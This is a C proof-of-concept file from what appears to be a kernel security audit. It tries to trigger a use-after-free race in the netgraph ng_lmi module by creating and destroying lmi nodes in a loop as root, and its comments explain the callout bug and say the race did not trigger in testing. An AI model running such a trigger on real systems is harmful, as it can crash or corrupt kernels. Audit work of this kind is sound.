DF-0565 / df0565.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | /* * DF-0565 -- hammer the shipped ng_lmi callout race * * The SHIPPED ng_lmi (sys/netgraph/lmi/ng_lmi.c) has the milder form of * DF-0565: nglmi_disconnect (line 1081) calls callout_stop (non-sync) * then ng_rmnode -> nglmi_rmnode -> kfree(sc). If LMI_ticker is currently * running (inside crit_enter at line 277) when callout_stop is invoked, * callout_stop is a no-op; LMI_ticker continues, reschedules the next * firing, then exits. nglmi_rmnode then kfrees sc. The rescheduled callout * fires into freed memory -> UAF. * * The ng7_lmi variant of the bug is more direct: nglmi_shutdown does not * call ng_uncallout AT ALL. That code path is not in the shipped module. * * This PoC attempts the race by repeatedly creating+destroying lmi nodes * in a tight loop. The race window is microseconds (between LMI_ticker * entering crit and the reschedule call). On the audit guest this did not * trigger in 60s of trying (race is too tight for uninstrumented triggering). * * Build: cc -O2 -o df0565 df0565.c * Run: ./df0565 (as root; PF_NETGRAPH control sockets need root) */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <netgraph/ng_message.h> #include <netgraph/socket/ng_socket.h> #include <netgraph/lmi/ng_lmi.h> #define NG_CONTROL 2 struct ng_mesg_buf { struct ng_mesg hdr; char data[256]; }; static int ng_cmd(int cs, const char *path, u_int32_t cookie, u_int32_t cmd, const void *arg, size_t arglen) { struct ng_mesg_buf m; struct sockaddr_ng dst; size_t total = sizeof(m.hdr) + arglen; memset(&m, 0, sizeof(m)); m.hdr.header.version = NG_VERSION; m.hdr.header.typecookie = cookie; m.hdr.header.cmd = cmd; m.hdr.header.arglen = arglen; snprintf(m.hdr.header.cmdstr, sizeof(m.hdr.header.cmdstr), "cmd%u", cmd); if (arglen) memcpy(m.hdr.data, arg, arglen); memset(&dst, 0, sizeof(dst)); dst.sg_family = AF_NETGRAPH; dst.sg_len = sizeof(dst); strncpy(dst.sg_data, path, sizeof(dst.sg_data)-1); return sendto(cs, &m, total, 0, (struct sockaddr *)&dst, dst.sg_len); } static int ng_mkpeer(int cs, const char *path, const char *type, const char *ourhook, const char *peerhook) { struct ngm_mkpeer mk; memset(&mk, 0, sizeof(mk)); strncpy(mk.type, type, sizeof(mk.type)-1); strncpy(mk.ourhook, ourhook, sizeof(mk.ourhook)-1); strncpy(mk.peerhook, peerhook, sizeof(mk.peerhook)-1); return ng_cmd(cs, path, NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk)); } static int ng_rmhook(int cs, const char *path, const char *ourhook) { struct ngm_rmhook rh; memset(&rh, 0, sizeof(rh)); strncpy(rh.ourhook, ourhook, sizeof(rh.ourhook)-1); return ng_cmd(cs, path, NGM_GENERIC_COOKIE, NGM_RMHOOK, &rh, sizeof(rh)); } int main(int argc, char **argv) { int cs, iters = (argc > 1) ? atoi(argv[1]) : 500; int i; cs = socket(PF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (cs < 0) { perror("socket"); return 2; } printf("[*] racing create/destroy %d times (race window ~us)\n", iters); for (i = 0; i < iters; i++) { if (ng_mkpeer(cs, ".", "lmi", "annexA", "annexA") < 0) { if (errno != EEXIST) { fprintf(stderr, "mkpeer #%d: %s\n", i, strerror(errno)); break; } } /* immediately tear down -- race vs LMI_ticker */ ng_rmhook(cs, ".", "annexA"); } printf("[*] done; check dmesg / guest health\n"); close(cs); return 0; } |